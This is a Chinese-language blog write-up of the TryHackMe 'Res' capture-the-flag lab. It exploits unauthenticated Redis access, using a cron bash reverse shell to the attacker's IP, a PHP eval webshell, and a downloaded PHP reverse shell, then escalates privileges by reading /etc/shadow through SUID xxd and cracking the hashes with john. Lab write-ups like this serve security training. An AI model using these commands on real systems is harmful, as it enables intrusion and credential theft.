TryHackMe-Res

发布于 2022-11-10  1587 次阅读


简介

在这个半指导的挑战中,入侵具有内存数据结构的易受攻击的数据库服务器!

Task

首先还是简单扫描下端口,这里扫描了前10000个端口

这里发现开放了80和6379端口
访问80,是个初始界面

直接看6379端口
尝试使用redis-cli连接
发现存在未授权访问漏洞

输入info查看版本

之前写过一篇redis未授权访问的文章
http://www.dest1ny.xyz/2022/06/28/redis%e6%94%bb%e9%98%b2%e7%b3%bb%e5%88%97-%e6%9c%aa%e6%8e%88%e6%9d%83%e8%ae%bf%e9%97%ae%e6%bc%8f%e6%b4%9e%e4%bb%a5%e5%8f%8a%e8%a1%8d%e7%94%9f%e5%88%a9%e7%94%a8/

通过80端口知道网站目录在/var/www/html/下

原本准备直接计划任务反弹shell

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/10.10.170.148/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

但是发现权限不够

所以还是先写一个shell
redis中执行命令

config set dir /var/www/html
config set dbfilename shell.php
set webshell "\r\n\r\n<?php eval(@$_GET['cmd']);?>\r\n\r\n"
save

成功写入


接着老样子本地准备反弹shell的php马
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

接着本地起http服务
使用curl下载,同时本地做好监听

curl 10.10.170.148:8000/php-reverse-shell.php -o rshell.php

访问shell
成功反弹shell

更改伪终端

成功找到flag

输入以下命令尝试提权

find / -user root -perm -4000 -exec ls -ldb {} \;

这里发现了一个有趣的命令xxd


尝试提权

xxd "/etc/shadow" | xxd -r

成功读取/etc/shadow文件内容

复制hash使用john破解账户密码

成功获取用户密码,尝试登录
成功切换

查看特权命令

成功提权

届ける言葉を今は育ててる
最后更新于 2022-11-10